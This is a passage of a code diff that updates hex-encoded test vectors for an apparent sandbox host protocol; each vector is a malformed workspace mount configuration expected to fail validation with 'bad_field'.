6f726b7370616365476964223a32353030302c22706f6c696379223a226175746f222c22726f6f7473223a5b7b226964223a22726f6f742d6e6f746573222c22677565737450617468223a222f776f726b73706163652f666f6c64657273222c22736f75726365223a222f776f726b73706163652f666f6c646572732f6e6f746573222c22726561644f6e6c79223a66616c73657d2c7b226964223a22726f6f742d6f757470757473222c22677565737450617468223a222f776f726b73706163652f6f7574707574732f636f6e762d30303031222c22736f75726365223a222f776f726b73706163652f6f7574707574732f636f6e762d30303031222c22726561644f6e6c79223a66616c73657d5d2c2272756e74696d65223a7b226d6f64656c223a226d6f64656c2d616c706861222c2274696d656f75744d73223a3630303030302c22746f6f6c436c6173736573223a5b2272656164222c227772697465222c2265786563757465225d2c2270726f7669646572223a7b2273636f7065223a7b226163636f756e745265766973696f6e223a372c226261636b656e6453657373696f6e4964223a226261636b656e642d30303031222c22626f6f744964223a2236363636363636362d363636362d343636362d383636362d363636363636363636363636222c226772616e745265766973696f6e223a352c22686f6d654964223a22686f6d655f39393939393939392d393939392d343939392d383939392d393939393939393939393939222c22696e6361726e6174696f6e4964223a22696e632d32323232323232322d323232322d343232322d383232322d323232323232323232323232222c226c6561736545706f6368223a332c226d6f64656c5265766973696f6e223a382c2273657373696f6e4964223a22636f6e762d30303031222c227461736b4964223a227461736b2d30303031222c22776f726b73706163654964223a22776f726b73706163655f31313131313131312d313131312d343131312d383131312d313131313131313131313131227d2c2273656c656374696f6e223a7b226361706162696c6974696573223a5b22746f6f6c73222c2273747265616d696e67225d2c2266616d696c79223a2266616d696c792d616c706861222c226d6f64656c4b6579223a226d6f64656c2d616c706861222c2270726f746f636f6c223a2270726f746f636f6c2d616c706861222c2270726f76696465724964223a2270726f76696465722d616c706861222c2270726f76696465724d6f64656c4964223a2270726f76696465722d6d6f64656c2d616c706861227d7d2c22677569646564223a7b2262696e64696e674964223a2233663262386331652d356434612d346536662d396137622d316332643365346635613662222c2267656e65726174696f6e223a317d2c22636f6e74696e756174696f6e223a226672657368222c22656e6465644775657374426f6f7473223a5b5d7d7d5d7d", "error": "bad_field" }, { "name": "conversations-root-outputs-of-another-session", "direction": "down", - "hex": "574d58310101000001000000390600007b2276223a312c2274223a22636f6e766572736174696f6e73222c226f7065726174696f6e4964223a2266696c6573797374656d5f35353535353535352d353535352d343535352d383535352d353535353535353535353535222c226e6f6e6365223a223066306630663066306630663066306630663066306630663066306630663066222c22696e6361726e6174696f6e4964223a22696e632d32323232323232322d323232322d343232322d383232322d323232323232323232323232222c2270726f66696c65223a22686f73742d71756572792d6775696465642d7631222c22636f6e766572736174696f6e73223a5b7b226c6f676963616c53657373696f6e4964223a22636f6e762d30303031222c22617574686f72697479223a7b22776f726b73706163654964223a22776f726b73706163655f31313131313131312d313131312d343131312d383131312d313131313131313131313131222c2273657373696f6e4964223a226261636b656e642d30303031222c22696e6361726e6174696f6e4964223a22696e632d32323232323232322d323232322d343232322d383232322d323232323232323232323232222c226c6561736545706f6368223a332c22636f6e6669675265766973696f6e223a342c226772616e745265766973696f6e223a352c22706f6c6963795265766973696f6e223a367d2c2272756e74696d65556964223a32303030302c22746f6f6c556964223a32303030312c22776f726b7370616365476964223a32353030302c22706f6c696379223a226175746f222c22726f6f7473223a5b7b226964223a22726f6f742d6e6f746573222c22677565737450617468223a222f776f726b73706163652f666f6c646572732f6e6f746573222c22736f75726365223a222f776f726b73706163652f666f6c646572732f6e6f746573222c22726561644f6e6c79223a66616c73657d2c7b226964223a22726f6f742d6f757470757473222c22677565737450617468223a222f776f726b73706163652f6f7574707574732f636f6e762d30303032222c22736f75726365223a222f776f726b73706163652f6f7574707574732f636f6e762d30303031222c22726561644f6e6c79223a66616c73657d5d2c2272756e74696d65223a7b226d6f64656c223a226d6f64656c2d616c706861222c2274696d656f75744d73223a3630303030302c22746f6f6c436c6173736573223a5b2272656164222c227772697465222c2265786563757465225d2c2270726f7669646572223a7b2273636f7065223a7b226163636f756e745265766973696f6e223a372c226261636b656e6453657373696f6e4964223a226261636b656e642d30303031222c22626f6f744964223a2236363636363636362d363636362d343636362d383636362d363636363636363636363636222c226772616e745265766973696f6e223a352c22686f6d654964223a22686f6d655f39393939393939392d393939392d343939392d383939392d393939393939393939393939222c22696e6361726e6174696f6e4964223a22696e632d32323232323232322d323232322d343232322d383232322d323232323232323232323232222c226c6561736545706f6368223a332c226d6f64656c5265766973696f6e223a382c2273657373696f6e4964223a22636f6e762d30303031222c227461736b4964223a227461736b2d30303031222c22776f726b73706163654964223a22776f726b73706163655f31313131313131312d313131312d343131312d383131312d313131313131313131313131227d2c2273656c656374696f6e223a7b226361706162696c6974696573223a5b22746f6f6c73222c2273747265616d696e67225d2c2266616d696c79223a2266616d696c792d616c706861222c226d6f64656c4b6579223a226d6f64656c2d616c706861222c2270726f746f636f6c223a2270726f746f636f6c2d616c706861222c2270726f76696465724964223a2270726f76696465722d616c706861222c2270726f76696465724d6f64656c4964223a2270726f76696465722d6d6f64656c2d616c706861227d7d2c22677569646564223a7b2262696e64696e674964223a2233663262386331652d356434612d346536662d396137622d316332643365346635613662222c2267656e65726174696f6e223a317d7d7d5d7d", + "hex": "574d58310101000001000000760600007b2276223a322c2274223a22636f6e766572736174696f6e73222c226f7065726174696f6e4964223a2266696c6573797374656d5f35353535353535352d353535352d343535352d383535352d353535353535353535353535222c226e6f6e6365223a223066306630663066306630663066306630663066306630663066306630663066222c22696e6361726e6174696f6e4964223a22696e632d32323232323232322d323232322d343232322d383232322d323232323232323232323232222c2270726f66696c65223a22686f73742d71756572792d6775696465642d7631222c2262726f777365556964223a6e756c6c2c22636f6e766572736174696f6e73223a5b7b226c6f676963616c53657373696f6e4964223a22636f6e762d30303031222c22617574686f72697479223a7b22776f726b73706163654964223a22776f726b73706163655f31313131313131312d313131312d343131312d383131312d313131313131313131313131222c2273657373696f6e4964223a226261636b656e642d30303031222c22696e6361726e6174696f6e4964223a22696e632d32323232323232322d323232322d343232322d383232322d323232323232323232323232222c226c6561736545706f6368223a332c22636f6e6669675265766973696f6e223a342c226772616e745265766973696f6e223a352c22706f6c6963795265766973696f6e223a367d2c2272756e74696d65556964223a32303030302c22746f6f6c556964223a32303030312c22776f726b7370616365476964223a32353030302c22706f6c696379223a226175746f222c22726f6f7473223a5b7b226964223a22726f6f742d6e6f746573222c22677565737450617468223a222f776f726b73706163652f666f6c646572732f6e6f746573222c22736f75726365223a222f776f726b73706163652f666f6c646572732f6e6f746573222c22726561644f6e6c79223a66616c73657d2c7b226964223a22726f6f742d6f757470757473222c22677565737450617468223a222f776f726b73706163652f6f7574707574732f636f6e762d30303032222c22736f75726365223a222f776f726b73706163652f6f7574707574732f636f6e762d30303031222c22726561644f6e6c79223a66616c73657d5d2c2272756e74696d65223a7b226d6f64656c223a226d6f64656c2d616c706861222c2274696d656f75744d73223a3630303030302c22746f6f6c436c6173736573223a5b2272656164222c227772697465222c2265786563757465225d2c2270726f7669646572223a7b2273636f7065223a7b226163636f756e745265766973696f6e223a372c226261636b656e6453657373696f6e4964223a226261636b656e642d30303031222c22626f6f744964223a2236363636363636362d363636362d343636362d383636362d363636363636363636363636222c226772616e745265766973696f6e223a352c22686f6d654964223a22686f6d655f39393939393939392d393939392d343939392d383939392d393939393939393939393939222c22696e6361726e6174696f6e4964223a22696e632d32323232323232322d323232322d343232322d383232322d323232323232323232323232222c226c6561736545706f6368223a332c226d6f64656c5265766973696f6e223a382c2273657373696f6e4964223a22636f6e762d30303031222c227461736b4964223a227461736b2d30303031222c22776f726b73706163654964223a22776f726b73706163655f31313131313131312d313131312d343131312d383131312d313131313131313131313131227d2c2273656c656374696f6e223a7b226361706162696c6974696573223a5b22746f6f6c73222c2273747265616d696e67225d2c2266616d696c79223a2266616d696c792d616c706861222c226d6f64656c4b6579223a226d6f64656c2d616c706861222c2270726f746f636f6c223a2270726f746f636f6c2d616c706861222c2270726f76696465724964223a2270726f76696465722d616c706861222c2270726f76696465724d6f64656c4964223a2270726f76696465722d6d6f64656c2d616c706861227d7d2c22677569646564223a7b2262696e64696e674964223a2233663262386331652d356434612d346536662d396137622d316332643365346635613662222c2267656e65726174696f6e223a317d2c22636f6e74696e756174696f6e223a226672657368222c22656e6465644775657374426f6f7473223a5b5d7d7d5d7d", "error": "bad_field" }, { "name": "conversations-root-views-nested", "direction": "down", - "hex": "574d583101010000010000003c0600007b2276223a312c2274223a22636f6e766572736174696f6e73222c226f7065726174696f6e4964223a2266696c6573797374656d5f35353535353535352d353535352d343535352d383535352d353535353535353535353535222c226e6f6e6365223a223066306630663066306630663066306630663066306630663066306630663066222c22696e6361726e6174696f6e4964223a22696e632d32323232323232322d323232322d343232322d383232322d323232323232323232323232222c2270726f66696c65223a22686f73742d71756572792d6775696465642d7631222c22636f6e766572736174696f6e73223a5b7b226c6f676963616c53657373696f6e4964223a22636f6e762d30303031222c22617574686f72697479223a7b22776f726b73706163654964223a22776f726b73706163655f31313131313131312d313131312d343131312d383131312d313131313131313131313131222c2273657373696f6e4964223a226261636b656e642d30303031222c22696e6361726e6174696f6e4964223a22696e632d32323232323232322d323232322d343232322d383232322d323232323232323232323232222c226c6561736545706f6368223a332c22636f6e6669675265766973696f6e223a342c226772616e745265766973696f6e223a352c22706f6c6963795265766973696f6e223a367d2c2272756e74696d65556964223a32303030302c22746f6f6c556964223a32303030312c22776f726b7370616365476964223a32353030302c22706f6c696379223a226175746f222c22726f6f7473223a5b7b226964223a22726f6f742d6e6f746573222c22677565737450617468223a222f776f726b73706163652f666f6c646572732f6e6f746573222c22736f75726365223a222f776f726b73706163652f666f6c646572732f6e6f746573222c22726561644f6e6c79223a66616c73657d2c7b226964223a22726f6f742d6f757470757473222c22677565737450617468223a222f776f726b73706163652f666f6c646572732f6e6f7465732f646565706572222c22736f75726365223a222f776f726b73706163652f6f7574707574732f636f6e762d30303031222c22726561644f6e6c79223a66616c73657d5d2c2272756e74696d65223a7b226d6f64656c223a226d6f64656c2d616c706861222c2274696d656f75744d73223a3630303030302c22746f6f6c436c6173736573223a5b2272656164222c227772697465222c2265786563757465225d2c2270726f7669646572223a7b2273636f7065223a7b226163636f756e745265766973696f6e223a372c226261636b656e6453657373696f6e4964223a226261636b656e642d30303031222c22626f6f744964223a2236363636363636362d363636362d343636362d383636362d363636363636363636363636222c226772616e745265766973696f6e223a352c22686f6d654964223a22686f6d655f39393939393939392d393939392d343939392d383939392d393939393939393939393939222c22696e6361726e6174696f6e4964223a22696e632d32323232323232322d323232322d343232322d383232322d323232323232323232323232222c226c6561736545706f6368223a332c226d6f64656c5265766973696f6e223a382c2273657373696f6e4964223a22636f6e762d30303031222c227461736b4964223a227461736b2d30303031222c22776f726b73706163654964223a22776f726b73706163655f31313131313131312d313131312d343131312d383131312d313131313131313131313131227d2c2273656c656374696f6e223a7b226361706162696c6974696573223a5b22746f6f6c73222c2273747265616d696e67225d2c2266616d696c79223a2266616d696c792d616c706861222c226d6f64656c4b6579223a226d6f64656c2d616c706861222c2270726f746f636f6c223a2270726f746f636f6c2d616c706861222c2270726f76696465724964223a2270726f76696465722d616c706861222c2270726f76696465724d6f64656c4964223a2270726f76696465722d6d6f64656c2d616c706861227d7d2c22677569646564223a7b2262696e64696e674964223a2233663262386331652d356434612d346536662d396137622d316332643365346635613662222c2267656e65726174696f6e223a317d7d7d5d7d", + "hex": "574d58310101000001000000790600007b2276223a322c2274223a22636f6e766572736174696f6e73222c226f7065726174696f6e4964223a2266696c6573797374656d5f35353535353535352d353535352d343535352d383535352d353535353535353535353535222c226e6f6e6365223a223066306630663066306630663066306630663066306630663066306630663066222c22696e6361726e6174696f6e4964223a22696e632d32323232323232322d323232322d343232322d383232322d323232323232323232323232222c2270726f66696c65223a22686f73742d71756572792d6775696465642d7631222c2262726f777365556964223a6e756c6c2c22636f6e766572736174696f6e73223a5b7b226c6f676963616c53657373696f6e4964223a22636f6e762d30303031222c22617574686f72697479223a7b22776f726b73706163654964223a22776f726b73706163655f31313131313131312d313131312d343131312d383131312d313131313131313131313131222c2273657373696f6e4964223a226261636b656e642d30303031222c22696e6361726e6174696f6e4964223a22696e632d32323232323232322d323232322d343232322d383232322d323232323232323232323232222c226c6561736545706f6368223a332c22636f6e6669675265766973696f6e223a342c226772616e745265766973696f6e223a352c22706f6c6963795265766973696f6e223a367d2c2272756e74696d65556964223a32303030302c22746f6f6c556964223a32303030312c22776f726b7370616365476964223a32353030302c22706f6c696379223a226175746f222c22726f6f7473223a5b7b226964223a22726f6f742d6e6f746573222c22677565737450617468223a222f776f726b73706163652f666f6c646572732f6e6f746573222c22736f75726365223a222f776f726b73706163652f666f6c646572732f6e6f746573222c22726561644f6e6c79223a66616c73657d2c7b226964223a22726f6f742d6f757470757473222c22677565737450617468223a222f776f726b73706163652f666f6c646572732f6e6f7465732f646565706572222c22736f75726365223a222f776f726b73706163652f6f7574707574732f636f6e762d30303031222c22726561644f6e6c79223a66616c73657d5d2c2272756e74696d65223a7b226d6f64656c223a226d6f64656c2d616c706861222c2274696d656f75744d73223a3630303030302c22746f6f6c436c6173736573223a5b2272656164222c227772697465222c2265786563757465225d2c2270726f7669646572223a7b2273636f7065223a7b226163636f756e745265766973696f6e223a372c226261636b656e6453657373696f6e4964223a226261636b656e642d30303031222c22626f6f744964223a2236363636363636362d363636362d343636362d383636362d363636363636363636363636222c226772616e745265766973696f6e223a352c22686f6d654964223a22686f6d655f39393939393939392d393939392d343939392d383939392d393939393939393939393939222c22696e6361726e6174696f6e4964223a22696e632d32323232323232322d323232322d343232322d383232322d323232323232323232323232222c226c6561736545706f6368223a332c226d6f64656c5265766973696f6e223a382c2273657373696f6e4964223a22636f6e762d30303031222c227461736b4964223a227461736b2d30303031222c22776f726b73706163654964223a22776f726b73706163655f31313131313131312d313131312d343131312d383131312d313131313131313131313131227d2c2273656c656374696f6e223a7b226361706162696c6974696573223a5b22746f6f6c73222c2273747265616d696e67225d2c2266616d696c79223a2266616d696c792d616c706861222c226d6f64656c4b6579223a226d6f64656c2d616c706861222c2270726f746f636f6c223a2270726f746f636f6c2d616c706861222c2270726f76696465724964223a2270726f76696465722d616c706861222c2270726f76696465724d6f64656c4964223a2270726f76696465722d6d6f64656c2d616c706861227d7d2c22677569646564223a7b2262696e64696e674964223a2233663262386331652d356434612d346536662d396137622d316332643365346635613662222c2267656e65726174696f6e223a317d2c22636f6e74696e756174696f6e223a226672657368222c22656e6465644775657374426f6f7473223a5b5d7d7d5d7d", "error": "bad_field" }, { "name": "conversations-root-ids-repeat", "direction": "down", - "hex": "574d58310101000001000000370600007b2276223a312c2274223a22636f6e766572736174696f6e73222c226f7065726174696f6e4964223a2266696c6573797374656d5f35353535353535352d353535352d343535352d383535352d353535353535353535353535222c226e6f6e6365223a223066306630663066306630663066306630663066306630663066306630663066222c22696e6361726e6174696f6e4964223a22696e632d32323232323232322d323232322d343232322d383232322d323232323232323232323232222c2270726f66696c65223a22686f73742d71756572792d6775696465642d7631222c22636f6e766572736174696f6e73223a5b7b226c6f676963616c53657373696f6e4964223a22636f6e762d30303031222c22617574686f72697479223a7b22776f726b73706163654964223a22776f726b73706163655f31313131313131312d313131312d343131312d383131312d313131313131313131313131222c2273657373696f6e4964223a226261636b656e642d30303031222c22696e6361726e6174696f6e4964223a22696e632d32323232323232322d323232322d343232322d383232322d323232323232323232323232222c226c6561736545706f6368223a332c22636f6e6669675265766973696f6e223a342c226772616e745265766973696f6e223a352c22706f6c6963795265766973696f6e223a367d2c2272756e74696d65556964223a32303030302c22746f6f6c556964223a32303030312c22776f726b7370616365476964223a32353030302c22706f6c696379223a226175746f222c22726f6f7473223a5b7b226964223a22726f6f742d6e6f746573222c22677565737450617468223a222f776f726b73706163652f666f6c646572732f6e6f746573222c22736f75726365223a222f776f726b73706163652f666f6c646572732f6e6f746573222c22726561644f6e6c79223a66616c73657d2c7b226964223a22726f6f742d6e6f746573222c22677565737450617468223a222f776f726b73706163652f6f7574707574732f636f6e762d30303031222c22736f75726365223a222f776f726b73706163652f6f7574707574732f636f6e762d30303031222c22726561644f6e6c79223a66616c73657d5d2c2272756e74696d65223a7b226d6f64656c223a226d6f64656c2d616c706861222c2274696d656f75744d73223a3630303030302c22746f6f6c436c6173736573223a5b2272656164222c227772697465222c2265786563757465225d2c2270726f7669646572223a7b2273636f7065223a7b226163636f756e745265766973696f6e223a372c226261636b656e6453657373696f6e4964223a226261636b656e642d30303031222c22626f6f744964223a2236363636363636362d363636362d343636362d383636362d363636363636363636363636222c226772616e745265766973696f6e223a352c22686f6d654964223a22686f6d655f39393939393939392d393939392d343939392d383939392d393939393939393939393939222c22696e6361726e6174696f6e4964223a22696e632d32323232323232322d323232322d343232322d383232322d323232323232323232323232222c226c6561736545706f6368223a332c226d6f64656c5265766973696f6e223a382c2273657373696f6e4964223a22636f6e762d30303031222c227461736b4964223a227461736b2d30303031222c22776f726b73706163654964223a22776f726b73706163655f31313131313131312d313131312d343131312d383131312d313131313131313131313131227d2c2273656c656374696f6e223a7b226361706162696c6974696573223a5b22746f6f6c73222c2273747265616d696e67225d2c2266616d696c79223a2266616d696c792d616c706861222c226d6f64656c4b6579223a226d6f64656c2d616c706861222c2270726f746f636f6c223a2270726f746f636f6c2d616c706861222c2270726f76696465724964223a2270726f76696465722d616c706861222c2270726f76696465724d6f64656c4964223a2270726f76696465722d6d6f64656c2d616c706861227d7d2c22677569646564223a7b2262696e64696e674964223a2233663262386331652d356434612d346536662d396137622d316332643365346635613662222c2267656e65726174696f6e223a317d7d7d5d7d", + "hex": "574d58310101000001000000740600007b2276223a322c2274223a22636f6e766572736174696f6e73222c226f7065726174696f6e4964223a2266696c6573797374656d5f35353535353535352d353535352d343535352d383535352d353535353535353535353535222c226e6f6e6365223a223066306630663066306630663066306630663066306630663066306630663066222c22696e6361726e6174696f6e4964223a22696e632d32323232323232322d323232322d343232322d383232322d323232323232323232323232222c2270726f66696c65223a22686f73742d71756572792d6775696465642d7631222c2262726f777365556964223a6e756c6c2c22636f6e766572736174696f6e73223a5b7b226c6f676963616c53657373696f6e4964223a22636f6e762d30303031222c22617574686f72697479223a7b22776f726b73706163654964223a22776f726b73706163655f31313131313131312d313131312d343131312d383131312d313131313131313131313131222c2273657373696f6e4964223a226261636b656e642d30303031222c22696e6361726e6174696f6e4964223a22696e632d32323232323232322d323232322d343232322d383232322d323232323232323232323232222c226c6561736545706f6368223a332c22636f6e6669675265766973696f6e223a342c226772616e745265766973696f6e223a352c22706f6c6963795265766973696f6e223a367d2c2272756e74696d65556964223a32303030302c22746f6f6c556964223a32303030312c22776f726b7370616365476964223a32353030302c22706f6c696379223a226175746f222c22726f6f7473223a5b7b226964223a22726f6f742d6e6f746573222c22677565737450617468223a222f776f726b73706163652f666f6c646572732f6e6f746573222c22736f75726365223a222f776f726b73706163652f666f6c646572732f6e6f746573222c22726561644f6e6c79223a66616c73657d2c7b226964223a22726f6f742d6e6f746573222c22677565737450617468223a222f776f726b73706163652f6f7574707574732f636f6e762d30303031222c22736f75726365223a222f776f726b73706163652f6f7574707574732f636f6e762d30303031222c22726561644f6e6c79223a66616c73657d5d2c2272756e74696d65223a7b226d6f64656c223a226d6f64656c2d616c706861222c2274696d656f75744d73223a3630303030302c22746f6f6c436c6173736573223a5b2272656164222c227772697465222c2265786563757465225d2c2270726f7669646572223a7b2273636f7065223a7b226163636f756e745265766973696f6e223a372c226261636b656e6453657373696f6e4964223a226261636b656e642d30303031222c22626f6f744964223a2236363636363636362d363636362d343636362d383636362d363636363636363636363636222c226772616e745265766973696f6e223a352c22686f6d654964223a22686f6d655f39393939393939392d393939392d343939392d383939392d393939393939393939393939222c22696e6361726e6174696f6e4964223a22696e632d32323232323232322d323232322d343232322d383232322d323232323232323232323232222c226c6561736545706f6368223a332c226d6f64656c5265766973696f6e223a382c2273657373696f6e4964223a22636f6e762d30303031222c227461736b4964223a227461736b2d30303031222c22776f726b73706163654964223a22776f726b73706163655f31313131313131312d313131312d343131312d383131312d313131313131313131313131227d2c2273656c656374696f6e223a7b226361706162696c6974696573223a5b22746f6f6c73222c2273747265616d696e67225d2c2266616d696c79223a2266616d696c792d616c706861222c226d6f64656c4b6579223a226d6f64656c2d616c706861222c2270726f746f636f6c223a2270726f746f636f6c2d616c706861222c2270726f76696465724964223a2270726f76696465722d616c706861222c2270726f76696465724d6f64656c4964223a2270726f76696465722d6d6f64656c2d616c706861227d7d2c22677569646564223a7b2262696e64696e674964223a2233663262386331652d356434612d346536662d396137622d316332643365346635613662222c2267656e65726174696f6e223a317d2c22636f6e74696e756174696f6e223a226672657368222c22656e6465644775657374426f6f7473223a5b5d7d7d5d7d", "error": "bad_field" }, { "name": "conversations-root-source-outside-workspace", "direction": "down", - "hex": "574d583101010000010000002b0600007b2276223a312c2274223a22636f6e766572736174696f6e73222c226f7065726174696f6e4964223a2266696c6573797374656d5f35353535353535352d353535352d343535352d383535352d353535353535353535353535222c226e6f6e6365223a223066306630663066306630663066306630663066306630663066306630663066222c22696e6361726e6174696f6e4964223a22696e632d32323232323232322d323232322d343232322d383232322d323232323232323232323232222c2270726f66696c65223a22686f73742d71756572792d6775696465642d7631222c22636f6e766572736174696f6e73223a5b7b226c6f676963616c53657373696f6e4964223a22636f6e762d30303031222c22617574686f72697479223a7b22776f726b73706163654964223a22776f726b73706163655f31313131313131312d313131312d343131312d383131312d313131313131313131313131222c2273657373696f6e4964223a226261636b656e642d30303031222c22696e6361726e6174696f6e4964223a22696e632d32323232323232322d323232322d343232322d383232322d323232323232323232323232222c226c6561736545706f6368223a332c22636f6e6669675265766973696f6e223a342c226772616e745265766973696f6e223a352c22706f6c6963795265766973696f6e223a367d2c2272756e74696d65556964223a32303030302c22746f6f6c556964223a32303030312c22776f726b7370616365476964223a32353030302c22706f6c696379223a226175746f222c22726f6f7473223a5b7b226964223a22726f6f742d6e6f746573222c22677565737450617468223a222f776f726b73706163652f666f6c646572732f6e6f746573222c22736f75726365223a222f6574632f6e6f746573222c22726561644f6e6c79223a66616c73657d2c7b226964223a22726f6f742d6f757470757473222c22677565737450617468223a222f776f726b73706163652f6f7574707574732f636f6e762d30303031222c22736f75726365223a222f776f726b73706163652f6f7574707574732f636f6e762d30303031222c22726561644f6e6c79223a66616c73657d5d2c2272756e74696d65223a7b226d6f64656c223a226d6f64656c2d616c706861222c2274696d656f75744d73223a3630303030302c22746f6f6c436c6173736573223a5b2272656164222c227772697465222c2265786563757465225d2c2270726f7669646572223a7b2273636f7065223a7b226163636f756e745265766973696f6e223a372c226261636b656e6453657373696f6e4964223a226261636b656e642d30303031222c22626f6f744964223a2236363636363636362d363636362d343636362d383636362d363636363636363636363636222c226772616e745265766973696f6e223a352c22686f6d654964223a22686f6d655f39393939393939392d393939392d343939392d383939392d393939393939393939393939222c22696e6361726e6174696f6e4964223a22696e632d32323232323232322d323232322d343232322d383232322d323232323232323232323232222c226c6561736545706f6368223a332c226d6f64656c5265766973696f6e223a382c2273657373696f6e4964223a22636f6e762d30303031222c227461736b4964223a227461736b2d30303031222c22776f726b73706163654964223a22776f726b73706163655f31313131313131312d313131312d343131312d383131312d313131313131313131313131227d2c2273656c656374696f6e223a7b226361706162696c6974696573223a5b22746f6f6c73222c2273747265616d696e67225d2c2266616d696c79223a2266616d696c792d616c706861222c226d6f64656c4b6579223a226d6f64656c2d616c706861222c2270726f746f636f6c223a2270726f746f636f6c2d616c706861222c2270726f76696465724964223a2270726f76696465722d616c706861222c2270726f76696465724d6f64656c4964223a2270726f76696465722d6d6f64656c2d616c706861227d7d2c22677569646564223a7b2262696e64696e674964223a2233663262386331652d356434612d346536662d396137622d316332643365346635613662222c2267656e65726174696f6e223a317d7d7d5d7d", + "hex": "574d58310101000001000000680600007b2276223a322c2274223a22636f6e766572736174696f6e73222c226f7065726174696f6e4964223a2266696c6573797374656d5f35353535353535352d353535352d343535352d383535352d353535353535353535353535222c226e6f6e6365223a223066306630663066306630663066306630663066306630663066306630663066222c22696e6361726e6174696f6e4964223a22696e632d32323232323232322d323232322d343232322d383232322d323232323232323232323232222c2270726f66696c65223a22686f73742d71756572792d6775696465642d7631222c2262726f777365556964223a6e756c6c2c22636f6e766572736174696f6e73223a5b7b226c6f676963616c53657373696f6e4964223a22636f6e762d30303031222c22617574686f72697479223a7b22776f726b73706163654964223a22776f726b73706163655f31313131313131312d313131312d343131312d383131312d313131313131313131313131222c2273657373696f6e4964223a226261636b656e642d30303031222c22696e6361726e6174696f6e4964223a22696e632d32323232323232322d323232322d343232322d383232322d323232323232323232323232222c226c6561736545706f6368223a332c22636f6e6669675265766973696f6e223a342c226772616e745265766973696f6e223a352c22706f6c6963795265766973696f6e223a367d2c2272756e74696d65556964223a32303030302c22746f6f6c556964223a32303030312c22776f726b7370616365476964223a32353030302c22706f6c696379223a226175746f222c22726f6f7473223a5b7b226964223a22726f6f742d6e6f746573222c22677565737450617468223a222f776f726b73706163652f666f6c646572732f6e6f746573222c22736f75726365223a222f6574632f6e6f746573222c22726561644f6e6c79223a66616c73657d2c7b226964223a22726f6f742d6f757470757473222c22677565737450617468223a222f776f726b73706163652f6f7574707574732f636f6e762d30303031222c22736f75726365223a222f776f726b73706163652f6f7574707574732f636f6e762d30303031222c22726561644f6e6c79223a66616c73657d5d2c2272756e74696d65223a7b226d6f64656c223a226d6f64656c2d616c706861222c2274696d656f75744d73223a3630303030302c22746f6f6c436c6173736573223a5b2272656164222c227772697465222c2265786563757465225d2c2270726f7669646572223a7b2273636f7065223a7b226163636f756e745265766973696f6e223a372c226261636b656e6453657373696f6e4964223a226261636b656e642d30303031222c22626f6f744964223a2236363636363636362d363636362d343636362d383636362d363636363636363636363636222c226772616e745265766973696f6e223a352c22686f6d654964223a22686f6d655f39393939393939392d393939392d343939392d383939392d393939393939393939393939222c22696e6361726e6174696f6e4964223a22696e632d32323232323232322d323232322d343232322d383232322d323232323232323232323232222c226c6561736545706f6368223a332c226d6f64656c5265766973696f6e223a382c2273657373696f6e4964223a22636f6e762d30303031222c227461736b4964223a227461736b2d30303031222c22776f726b73706163654964223a22776f726b73706163655f31313131313131312d313131312d343131312d383131312d313131313131313131313131227d2c2273656c656374696f6e223a7b226361706162696c6974696573223a5b22746f6f6c73222c2273747265616d696e67225d2c2266616d696c79223a2266616d696c792d616c706861222c226d6f64656c4b6579223a226d6f64656c2d616c706861222c2270726f746f636f6c223a2270726f746f636f6c2d616c706861222c2270726f76696465724964223a2270726f76696465722d616c706861222c2270726f76696465724d6f64656c4964223a2270726f76696465722d6d6f64656c2d616c706861227d7d2c22677569646564223a7b2262696e64696e674964223a2233663262386331652d356434612d346536662d396137622d316332643365346635613662222c2267656e65726174696f6e223a317d2c22636f6e74696e756174696f6e223a226672657368222c22656e6465644775657374426f6f7473223a5b5d7d7d5d7d", "error": "bad_field" }, { "name": "conversations-no-roots", "direction": "down", - "hex": "574d58310101000001000000500500007b2276223a312c2274223a22636f6e766572736174696f6e73222c226f7065726174696f6e4964223a2266696c6573797374656d5f35353535353535352d353535352d343535352d383535352d353535353535353535353535222c226e6f6e6365223a223066306630663066306630663066306630663066306630663066306630663066222c22696e6361726e6174696f6e4964223a22696e632d32323232323232322d323232322d343232322d383232322d323232323232323232323232222c2270726f66696c65223a22686f73742d71756572792d6775696465642d7631222c22636f6e766572736174696f6e73223a5b7b226c6f676963616c53657373696f6e4964223a22636f6e762d30303031222c22617574686f72697479223a7b22776f726b73706163654964223a22776f726b73706163655f31313131313131312d313131312d343131312d383131312d313131313131313131313131222c2273657373696f6e4964223a226261636b656e642d30303031222c22696e6361726e6174696f6e4964223a22696e632d32323232323232322d323232322d343232322d383232322d323232323232323232323232222c226c6561736545706f6368223a332c22636f6e6669675265766973696f6e223a342c226772616e745265766973696f6e223a352c22706f6c6963795265766973696f6e223a367d2c2272756e74696d65556964223a32303030302c22746f6f6c556964223a32303030312c22776f726b7370616365476964223a32353030302c22706f6c696379223a226175746f222c22726f6f7473223a5b5d2c2272756e74696d65223a7b226d6f64656c223a226d6f64656c2d616c706861222c2274696d656f75744d73223a3630303030302c22746f6f6c436c6173736573223a5b2272656164222c227772697465222c2265786563757465225d2c2270726f7669646572223a7b2273636f7065223a7b226163636f756e745265766973696f6e223a372c226261636b656e6453657373696f6e4964223a226261636b656e642d30303031222c22626f6f744964223a2236363636363636362d363636362d343636362d383636362d363636363636363636363636222c226772616e745265766973696f6e223a352c22686f6d654964223a22686f6d655f39393939393939392d393939392d343939392d383939392d393939393939393939393939222c22696e6361726e6174696f6e4964223a22696e632d32323232323232322d323232322d343232322d383232322d323232323232323232323232222c226c6561736545706f6368223a332c226d6f64656c5265766973696f6e223a382c2273657373696f6e4964223a22636f6e762d30303031222c227461736b4964223a227461736b2d30303031222c22776f726b73706163654964223a22776f726b73706163655f31313131313131312d313131312d343131312d383131312d313131313131313131313131227d2c2273656c656374696f6e223a7b226361706162696c6974696573223a5b22746f6f6c73222c2273747265616d696e67225d2c2266616d696c79223a2266616d696c792d616c706861222c226d6f64656c4b6579223a226d6f64656c2d616c706861222c2270726f746f636f6c223a2270726f746f636f6c2d616c706861222c2270726f76696465724964223a2270726f76696465722d616c706861222c2270726f76696465724d6f64656c4964223a2270726f76696465722d6d6f64656c2d616c706861227d7d2c22677569646564223a7b2262696e64696e674964223a2233663262386331652d356434612d346536662d396137622d316332643365346635613662222c2267656e65726174696f6e223a317d7d7d5d7d", + "hex": 